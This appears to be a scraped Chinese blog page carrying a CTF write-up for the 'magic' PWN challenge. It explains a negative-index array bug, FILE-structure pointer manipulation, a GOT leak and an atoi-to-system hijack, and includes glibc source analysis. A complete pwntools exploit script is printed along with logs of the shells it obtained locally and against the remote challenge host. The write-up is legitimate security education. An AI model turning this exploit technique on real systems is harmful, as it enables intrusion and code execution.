IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 游戏开发 -> 攻防世界-PWN-magic-文件结构体利用 -> 正文阅读

[游戏开发]攻防世界-PWN-magic-文件结构体利用

解题思路

安全机制检查

healer@healer-virtual-machine:~/Desktop/magic$ checksec magic
[*] '/home/healer/Desktop/magic/magic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
healer@healer-virtual-machine:~/Desktop/magic$ readelf -h magic
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x4008b0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          11992 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 28

分析利用过程

漏洞分析

__int64 wizard_spell()
{
  int v0; // ST04_4@8
  char v2; // [sp+3h] [bp-3Dh]@1
  __int64 v3; // [sp+8h] [bp-38h]@5
  char v4; // [sp+10h] [bp-30h]@8
  __int64 v5; // [sp+38h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  printf("Who will spell:");
  v2 = read_int();                    // 此处读取的数据有可能存在,负数
  if ( !wizards[v2] || v2 > 2 )
  {
    puts("evil wizard!");
    exit(0);
  }
  v3 = wizards[v2];                  // 此处存在数组的负数越界
  if ( *(_QWORD *)(v3 + 40) > 0LL )
  {
    if ( *(_QWORD *)(v3 + 40) <= 49LL )
    {
      puts("fail!");
    }
    else
    {
      printf("Spell name:");
      v0 = my_read(&v4, 0x20uLL);
      write_spell(&v4, v0);
      read_spell();
      *(_QWORD *)(v3 + 40) -= 0x32LL;
      puts("success!");
    }
  }
  else
  {
    puts("muggle!");
    strcpy((char *)(v3 + 8), desc_muggle);
    --left_wizard;
  }
  return *MK_FP(__FS__, 40LL) ^ v5;
}

移动_IO_write_ptr指针至堆起始位置附近

由于存在数组溢出漏洞,并且存在*(_QWORD *)(v3 + 40) -= 0x32LL;可以修改指针,因此通过利用程序自身的功能2.wizard spell可以修改存在于堆空间开始处的文件结构体。且看下面几个量之间的关系:

v2 = read_int();     // v2是我们输入的值,指定数组偏移量
...
v3 = wizards[v2];    // v3是从数组wizards中取得的值
...
      *(_QWORD *)(v3 + 40) -= 50LL;

wizards数组存储位置

在这里插入图片描述

运行时状态:

pwndbg> x/30xg 0x6020f0-0x40
0x6020b0 <desc_wizard>:	0x0000000000400f8b	0x0000000000000003
0x6020c0 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd2620	0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>:	0x00007ffff7dd18e0	0x0000000000000000
0x6020e0 <log_file>:	0x0000000000603010	0x0000000000000000
0x6020f0 <wizards>:	0x0000000000603240	0x0000000000000000
0x602100 <wizards+16>:	0x0000000000000000	0x0000000000000000

因此,当输入的数组偏移量为“-2”时取得到的指针是<log_file>,配合上*(_QWORD *)(v3 + 40) -= 50LL;我们可以通过此方法来修改结构体的内容,每一次读取内容的长度

此题做的时候需要自己尝试一下每一次写入的字符串的长度对最终_IO_write_ptr修改的量,通过多次读写,可以将_IO_write_ptr指针调整到<log_file>结构体开始位置附近

def main(): 
	create_wizard(b"hacker")
	wizard_spell("0",b"deadbeef")
	for i in range(14):
		print(">>>>"+str(i))
		wizard_spell("-2",b"\x00"*5)
	wizard_spell("-2",b"\x00"*4)
	gdb.attach(io,"b * 0x400d65\nb * 0x400c8a\nb * 0x400d5d")
	log.success("Move print_ptr Successfully")
	# print_ptr = 0x60300c    
	payload = b"\x00"*3 + p64(0x321) + p64(0xfbad24a8)
	wizard_spell("0",payload)

存在一点点疑惑的地方,这里上面的脚本中循环处,每次输入的\x00的个数有可能会影响到能否完成指定的循环次数,最终将_IO_write_ptr移动到合适的位置,还有一个问题是,不合适的\x00的个数可能会影响到下一步的覆盖结构体指针。(前期wizard_spell("-2",b"\x00"*3)始终没有成功将目标数据写入log_file在堆空间中的结构体,具体原因不详)

调整完毕之后如下所示

pwndbg> p *(struct _IO_FILE_plus *)0x603010
$2 = {
  file = {
    _flags = -72538968, 
    _IO_read_ptr = 0x6034a0 "...", 
    _IO_read_end = 0x6042a0 "", 
    _IO_read_base = 0x6032a0 "...", 
    _IO_write_base = 0xa000000000032a0 <error: Cannot access memory at address 0xa000000000032a0>, 
    _IO_write_ptr = 0x603006 "",      # 此处已经修改成功
    _IO_write_end = 0x6032a0 "...", 
    _IO_buf_base = 0x6032a0 "...", 
    _IO_buf_end = 0x6042a0 "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0xa000000 <error: Cannot access memory at address 0xa000000>, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>, 
    _fileno = 3, 
    _flags2 = 0, 
    _old_offset = 720575940379279360, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "", 
    _lock = 0x6030f0, 
    _offset = -1, 
    _codecvt = 0x0, 
    _wide_data = 0x603100, 
    _freeres_list = 0xa000000, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = -1, 
    _unused2 = '\000' <repeats 19 times>, "\n"
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

知识点:

  • 通过fread可以修_IO_write_ptr。即通过fread操作,我们可以修改write相关的指针,
  • 反之通过fwrite操作,我们可以修改read相关指针。
pwndbg> x/40xg 0x603000
0x603000:	0x0000000000000000	0x0000000000000231
0x603010:	0x00000000fbad24a8	0x00000000006034a0
0x603020:	0x00000000006042a0	0x00000000006032a0
0x603030:	0x0a000000000032a0	0x0000000000603006
0x603040:	0x00000000006032a0	0x00000000006032a0
0x603050:	0x00000000006042a0	0x0000000000000000
0x603060:	0x000000000a000000	0x0000000000000000
0x603070:	0x0000000000000000	0x00007ffff7dd2540
0x603080:	0x0000000000000003	0x0a00000000000000
0x603090:	0x0000000000000000	0x00000000006030f0
0x6030a0:	0xffffffffffffffff	0x0000000000000000
0x6030b0:	0x0000000000603100	0x000000000a000000
0x6030c0:	0x0000000000000000	0x0000000000000000
0x6030d0:	0x00000000ffffffff	0x0000000000000000
0x6030e0:	0x0a00000000000000	0x00007ffff7dd06e0
0x6030f0:	0x0000000000000000	0x0000000000000000
0x603100:	0x0000000000000000	0x0000000000000000
0x603110:	0x000000000a000000	0x0000000000000000

控制结构体劫持got

泄漏got表函数地址

前期通过控制_IO_write_ptr指针将其移动到了堆中的log_file的结构体的合适位置,覆盖_IO_read_ptr,进而借助程序自身的fread函数将目标位置的内容读出,在借助write函数回显,实现内存地址泄漏,为什么是控制_IO_read_ptr指针,且看下面分析

在这里插入图片描述

执行fread之后,调用如下

pwndbg> 
1380	in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0x7ffff7a85ed0 (__GI__IO_file_xsgetn) ?— push   r14
 RBX  0x603010 ?— 0xfbad24a8
···
 RDI  0x603010 ?— 0xfbad24a8
 RSI  0x7fffffffdca0 —? 0x4008b0 (_start) ?— xor    ebp, ebp
 ···
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
···
 ? 0x7ffff7a85f00 <__GI__IO_file_xsgetn+48>     mov    rsi, qword ptr [rbx + 8]
   0x7ffff7a85f04 <__GI__IO_file_xsgetn+52>     mov    rbp, qword ptr [rbx + 0x10]
···

上面这段解释了rsi参数的确定是源于rbx + 8,而rbx的值是0x603010,指向结构体开始的位置,故rsi指向的是_IO_read_ptr

pwndbg> 
0x00007ffff7a85fde	1383	in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
···
 RCX  0x603010 ?— 0xfbad24a8
 RDX  0x20
*RDI  0x7fffffffdca0 —? 0x4008b0 (_start) ?— xor    ebp, ebp
 RSI  0x602080 (_GLOBAL_OFFSET_TABLE_+128) —? 0x7ffff7a43e90 (atoi) ?— sub    ···
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
···
   0x7ffff7a85fdb <__GI__IO_file_xsgetn+267>    mov    rdi, r14
 ? 0x7ffff7a85fde <__GI__IO_file_xsgetn+270>    call   __memcpy_sse2 <__memcpy_sse2>
        rdi: 0x7fffffffdca0 —? 0x4008b0 (_start) ?— xor    ebp, ebp
        rsi: 0x602080 (_GLOBAL_OFFSET_TABLE_+128) —? 0x7ffff7a43e90 (atoi) ?— sub    rsp, 8
        rdx: 0x20
        rcx: 0x603010 ?— 0xfbad24a8

上面这里是实际读取结构体指向内容时的参数配置,由此可判定控制_IO_read_ptr指针,即可控制回显的内容

泄漏atoi函数地址之后,即可获得libc加载基地址以及system函数的地址

0x6020e0 <log_file>:	0x0000000000603010	0x0000000000000000

拿到关键地址信息之后,开始布局控制atoi函数的got表,实现劫持为system函数

分析源码

iofread.c开始的调用链如下:

_IO_fread->_IO_file_xsgetn->__underflow->_IO_new_file_underflow

且看下图:

在这里插入图片描述

各部分源码如下:

fread源码

_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
  _IO_size_t bytes_requested = size * count;
  _IO_size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);   // fread核心函数
  _IO_release_lock (fp);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)

_IO_file_xsgetn函数

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  char *s = data;

  want = n;     // 传入需要读入的字符个数

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);       // 如果输入缓冲区时空的,调用此函数初始化缓冲区
    }

  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;   // 求得read区域的大小
      if (want <= have)
	{
	  memcpy (s, fp->_IO_read_ptr, want);  // 第二部分,输入缓冲区里已经有足够的字符,则直接把缓冲区里的字符给目标buf,然后至函数最后返回
	  fp->_IO_read_ptr += want;   // 读取完毕之后,给_IO_read_ptr加上读区的长度
	  want = 0;     // 已满足输入需求,want置零结束循环,函数返回
	}
      else
	{
	  if (have > 0)    // 此时想要的内容大于fp->_IO_read_end与fp->_IO_read_ptr之间的区域的大小
	    {
#ifdef _LIBC
	      s = __mempcpy (s, fp->_IO_read_ptr, have);    // 可read的区域有多少字节先复制到buf缓冲区中
#else
	      memcpy (s, fp->_IO_read_ptr, have);  // 第二部分,输入缓冲区里有部分字符,但是没有达到fread的size需求,先把已有的拷贝至目标buff
	      s += have;
#endif
	      want -= have;  // 想要的内容减掉已经读区的长度
	      fp->_IO_read_ptr += have;    // 修正指针
	    }

	  /* Check for backup and repeat */
	  if (_IO_in_backup (fp))
	    {
	      _IO_switch_to_main_get_area (fp);
	      continue;
	    }

	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp->_IO_buf_base       // buf指针非空
	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))    //并且缓冲区满足想要的读区的大小
	    {
	      if (__underflow (fp) == EOF)        //  此处调用__underflow函数
		break;

	      continue;
	    }

	  /* These must be set before the sysread as we might longjmp out
	     waiting for input. */
	  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
	  _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

	  /* Try to maintain alignment: read a whole number of blocks.  */
	  count = want;
	  if (fp->_IO_buf_base)
	    {
	      _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
	      if (block_size >= 128)
		count -= want % block_size;
	    }

	  count = _IO_SYSREAD (fp, s, count);     // 读取仍然需要读区的长度的内容
	  if (count <= 0)
	    {
	      if (count == 0)
		fp->_flags |= _IO_EOF_SEEN;
	      else
		fp->_flags |= _IO_ERR_SEEN;

	      break;
	    }

	  s += count;
	  want -= count;
	  if (fp->_offset != _IO_pos_BAD)
	    _IO_pos_adjust (fp->_offset, count);
	}
    }

  return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

__underflow函数

int
__underflow (_IO_FILE *fp)
{
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
    return EOF;
#endif

  if (fp->_mode == 0)
    _IO_fwide (fp, -1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_get_mode (fp) == EOF)
      return EOF;
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;   
  if (_IO_in_backup (fp))
    {
      _IO_switch_to_main_get_area (fp);
      if (fp->_IO_read_ptr < fp->_IO_read_end)
	return *(unsigned char *) fp->_IO_read_ptr;
    }
  if (_IO_have_markers (fp))
    {
      if (save_for_backup (fp, fp->_IO_read_end))
	return EOF;
    }
  else if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
  return _IO_UNDERFLOW (fp);          // 调用_IO_new_file_underflow函数
}
libc_hidden_def (__underflow)

_IO_new_file_underflow函数

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)      // read相关几个指针之间区域不能留存有空间,如果有空间则直接返回
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)     // 如果buf指针为空
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);    // 重新初始化部分空间
    }

  /* Flush all line buffered files before reading. */
  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  // 在执行_IO_SYSREAD ()之前将所有指针设置为同一个值fp->_IO_buf_base
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;     
  fp->_IO_read_end = fp->_IO_buf_base;       
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);    // 从指定位置向_IO_buf_base读取内容
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

fwrite函数

_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
  _IO_size_t request = size * count;
  _IO_size_t written = 0;
  CHECK_FILE (fp, 0);
  if (request == 0)
    return 0;
  _IO_acquire_lock (fp);
  if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
    written = _IO_sputn (fp, (const char *) buf, request);
  _IO_release_lock (fp);
  /* We have written all of the input in case the return value indicates
     this or EOF is returned.  The latter is a special case where we
     simply did not manage to flush the buffer.  But the data is in the
     buffer and therefore written as far as fwrite is concerned.  */
  if (written == request || written == EOF)
    return count;
  else
    return written / size;
}

_IO_new_file_xsputn函数

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;     // 要想能正确有输入,则需确保f->_IO_buf_end > f->_IO_write_ptr
      if (count >= n)
	{
	  const char *p;
	  for (p = s + n; p > s; )
	    {
	      if (*--p == '\n')
		{
		  count = p - s + 1;
		  must_flush = 1;
		  break;
		}
	    }
	}
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
	count = to_do;
#ifdef _LIBC
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
      memcpy (f->_IO_write_ptr, s, count);
      f->_IO_write_ptr += count;
#endif
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
	/* If nothing else has to be written we must not signal the
	   caller that everything has been written.  */
	return to_do == 0 ? EOF : n - to_do;

      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

      if (do_write)
	{
	  count = new_do_write (f, s, do_write);
	  to_do -= count;
	  if (count < do_write)
	    return n - to_do;
	}

      /* Now write out the remainder.  Normally, this will fit in the
	 buffer, but it's somewhat messier for line-buffered files,
	 so we let _IO_default_xsputn handle the general case. */
      if (to_do)
	to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

思路整理

最终目标是要将atoi函数got表中的地址劫持为system函数地址,当程序再次执行至choice>>要求输入时,直接输入/bin/sh或者sh,即可执行system("/bin/sh")函数获取到shell

我们想要利用fread函数将atoigot表改写就要控制_IO_write_ptr或者_IO_buf_base,控制_IO_write_ptr的方法我们有,就是一开始的那个借助每次-50的操作抬高该指针,但是atoigot表在0x602080处,现在在0x603010附近需要循环很多次,才能移动过去,有点繁琐(还没有验证过行不行),但是结合上面的源码分析,借助fread函数,通过控制log_file在堆空间中结构体的各个指针,可实现向fp->_IO_buf_base处写入数据的效果。

当泄漏关键地址之后,通过wizard_spell("-2",b"\x00"*18)方法可将指针再次移动到结构体开始的位置。紧接着布局所有指针,控制_IO_read_ptr_IO_read_end,使其在向fp->_IO_buf_base处写入数据之前满足fp->_IO_read_ptr >= fp->_IO_read_end(参见源码_IO_new_file_underflow

关于fwrite函数,这需要确保f->_IO_buf_end > f->_IO_write_ptr,才能保证结构体各指针不被刷新,保证能够正常输入

覆盖_IO_read_base_IO_read_ptr_IO_read_end三个指针
log_file = 0x6020e0
payload = p64(log_file) + p64(log_file+0x40) + p64(log_file)
wizard_spell("0",payload)

上面的log_file+0x40不一定要精确是0x40这个值,到第三次覆盖时满足前面的fp->_IO_read_ptr >= fp->_IO_read_end条件即可

覆盖_IO_write_base_IO_write_ptr_IO_write_end三个指针
payload = p64(atoi_got+0x2000)*3 
wizard_spell("0",payload)

此处覆盖write相关的三个指针使用的是atoi_got+0x2000,至于为什么,参见源码_IO_new_file_xsputn,因为之后仍需要通过fwrite函数写入字符,所以需要确保下一步以及之后的写入system函数地址顺利,所以需要确保f->_IO_buf_end > f->_IO_write_ptr,并且f->_IO_buf_end - f->_IO_write_ptr的值cont尽量大一点,实际写入的时候会发现,其实_IO_write_ptr指针并没有被更改,所以可以直接覆盖三个一样的值,并且保证f->_IO_buf_end足够大一些即可,0x2000可以调整,满足前面的要求即可。

上面这步大佬的做法是通过泄漏堆空间的地址,然后加上0x100去做的,后面自己在验证和分析源码的时候发现其实并不需要堆的地址,只要覆盖的地址相对大一些或者足够大即可,大佬的分析中给出了一个范围,对于那个范围是如何而来更是百思不得其解,有机会可以交流一下(至少以我之愚见,源码中未体现出这个范围)。

覆盖_IO_buf_base_IO_buf_end两个指针
payload = p64(atoi_got) + p64(atoi_got+0xa0)
wizard_spell("0",payload)

这里的_IO_buf_base指针指向atoi函数,_IO_buf_end指针向后相对留有一定空间即可

劫持atoi函数为system函数
payload = p64(system_addr)
# pause()
io.send(payload)
# pause()
io.send(payload)
# pause()
io.send(payload)
io.send(payload)
# wizard_spell("0",payload)

此处我有点茫然,结合前面的构造,程序运行到这里时直接开始等待输入了,并且结构体也达到前期的部署需求,而且要求的输入是0x20,如下所示:

pwndbg> p *(struct _IO_FILE_plus*)0x603010
$2 = {
  file = {
    _flags = -72538968, 
    _IO_read_ptr = 0x602080 "\220>\244\367\377\177", 
    _IO_read_end = 0x602080 "\220>\244\367\377\177", 
    _IO_read_base = 0x602080 "\220>\244\367\377\177", 
    _IO_write_base = 0x602080 "\220>\244\367\377\177", 
    _IO_write_ptr = 0x602080 "\220>\244\367\377\177", 
    _IO_write_end = 0x602080 "\220>\244\367\377\177", 
    _IO_buf_base = 0x602080 "\220>\244\367\377\177", 
    _IO_buf_end = 0x602120 "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>, 
    _fileno = 0, 
    _flags2 = 0, 
    _old_offset = 0, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "", 
    _lock = 0x6030f0, 
    _offset = -1, 
    _codecvt = 0x0, 
    _wide_data = 0x603100, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = -1, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

由于已经实现预期部署目标,就没有再使用源程序的wizard_spell功能,并且程序直接等待向目标地址写入内容,所以就连着写了几个system函数地址,实现最终目的。当然在调试的时候,如果能够正常走流程,再输入system地址也是可以的。

攻击脚本

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']


io = remote("111.200.241.244",64078)  # 111.200.241.244:56829

# io = process("./magic")
elf = ELF("./magic")

# libc = ELF("./libc-2.31.so")
# context(arch = "i386", os = 'linux')

def create_wizard(name_str):
	io.recvuntil("choice>> ")
	io.sendline("1")
	io.recvuntil("Give me the wizard's name:")
	io.sendline(name_str)

def wizard_spell(name_index,spell_name):
	io.recvuntil("choice>> ")
	io.sendline("2")
	io.recvuntil("Who will spell:")
	io.sendline(str(name_index))
	io.recvuntil("Spell name:")
	io.send(spell_name)

def main(): 
	create_wizard(b"hacker")
	wizard_spell("0",b"deadbeef")
	for i in range(14):
		print(">>>>"+str(i))
		wizard_spell("-2",b"\x00"*5)
	wizard_spell("-2",b"\x00"*18)
	# gdb.attach(io,"b * 0x400d69\nb * 0x400c8a")
	log.success("Move print_ptr Successfully")
 
	payload = b"\x00"*3 + p64(0x231) + p64(0xfbad24a8)
	wizard_spell("0",payload)

	atoi_got = elf.got["atoi"]
	log.success("atoi address -> "+hex(atoi_got))
	payload = p64(atoi_got) + p64(atoi_got+0x100) 
	wizard_spell("0",payload)
	atoi_addr = u64(io.recv(8))
	log.success("atoi real address -> "+hex(atoi_addr))
	obj = LibcSearcher("atoi",atoi_addr)
	libcbase = atoi_addr - obj.dump("atoi")
	system_addr = libcbase + obj.dump("system")
	bin_sh_addr = libcbase + obj.dump("str_bin_sh")
	log.success("system address -> "+hex(system_addr))
	log.success("bin_sh_addr address -> "+hex(bin_sh_addr))

	wizard_spell("-2",b"\x00"*18)

	payload = p64(0x231) + p64(0xfbad24a8)
	wizard_spell("0",payload)
	log_file = 0x6020e0
	payload = p64(log_file) + p64(log_file+0x40) + p64(log_file)
	wizard_spell("0",payload)
	# heap_addr = u64(io.recv(8))
	# log.success("heap_addr address -> "+hex(heap_addr))

	payload = p64(atoi_got+0x2000)*3 
	wizard_spell("0",payload)

	payload = p64(atoi_got) + p64(atoi_got+0xa0)
	wizard_spell("0",payload)

	log.info("Watch the _IO_write_ptr!!!")
	payload = p64(system_addr)
	# pause()
	io.send(payload)
	# pause()
	io.send(payload)
	# pause()
	io.send(payload)
	io.send(payload)
	# wizard_spell("0",payload)

	io.recvuntil("choice>> ")
	io.send("sh")

	io.interactive()

if __name__ == '__main__':
	main()

执行成功效果

本地shell

    00000010
[*] Watch the _IO_write_ptr!!!
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
    00000000  a0 23 a5 f7  ff 7f 00 00                            │·#··│····│
    00000008
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
    00000000  a0 23 a5 f7  ff 7f 00 00                            │·#··│····│
    00000008
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
    00000000  a0 23 a5 f7  ff 7f 00 00                            │·#··│····│
    00000008
[DEBUG] Sent 0x8 bytes:
    00000000  a0 23 a5 f7  ff 7f 00 00                            │·#··│····│
    00000008
[DEBUG] Received 0x32 bytes:
    00000000  a0 23 a5 f7  ff 7f 00 00  a0 23 a5 f7  ff 7f 00 00  │·#··│····│·#··│····│
    *
    00000020  73 75 63 63  65 73 73 21  0a 63 68 6f  69 63 65 3e  │succ│ess!│·cho│ice>│
    00000030  3e 20> │
    00000032
[DEBUG] Sent 0x2 bytes:
    b'sh'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x27 bytes:
    b'core  exp.csdn.py  exp.py  flag  magic\n'
core  exp.csdn.py  exp.py  flag  magic
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x19 bytes:
    b'flag{Cragratulations!!!}\n'
flag{Cragratulations!!!}

远程shell

    00000010
[*] Watch the _IO_write_ptr!!!
[DEBUG] Sent 0x8 bytes:
    00000000  90 63 54 90  09 7f 00 00                            │·cT·│····│
    00000008
[DEBUG] Sent 0x8 bytes:
    00000000  90 63 54 90  09 7f 00 00                            │·cT·│····│
    00000008
[DEBUG] Sent 0x8 bytes:
    00000000  90 63 54 90  09 7f 00 00                            │·cT·│····│
    00000008
[DEBUG] Sent 0x8 bytes:
    00000000  90 63 54 90  09 7f 00 00                            │·cT·│····│
    00000008
[DEBUG] Received 0x20 bytes:
    00000000  90 63 54 90  09 7f 00 00  90 63 54 90  09 7f 00 00  │·cT·│····│·cT·│····│
    *
    00000020
[DEBUG] Received 0x12 bytes:
    b'success!\n'
    b'choice>> '
[DEBUG] Sent 0x2 bytes:
    b'sh'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x23 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'magic\n'
bin
dev
flag
lib
lib32
lib64
magic
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{c461dcc93********************69889c079c6}\n'
cyberpeace{c461dcc93********************69889c079c6}

  游戏开发 最新文章
6、英飞凌-AURIX-TC3XX: PWM实验之使用 GT
泛型自动装箱
CubeMax添加Rtthread操作系统 组件STM32F10
python多线程编程:如何优雅地关闭线程
数据类型隐式转换导致的阻塞
WebAPi实现多文件上传,并附带参数
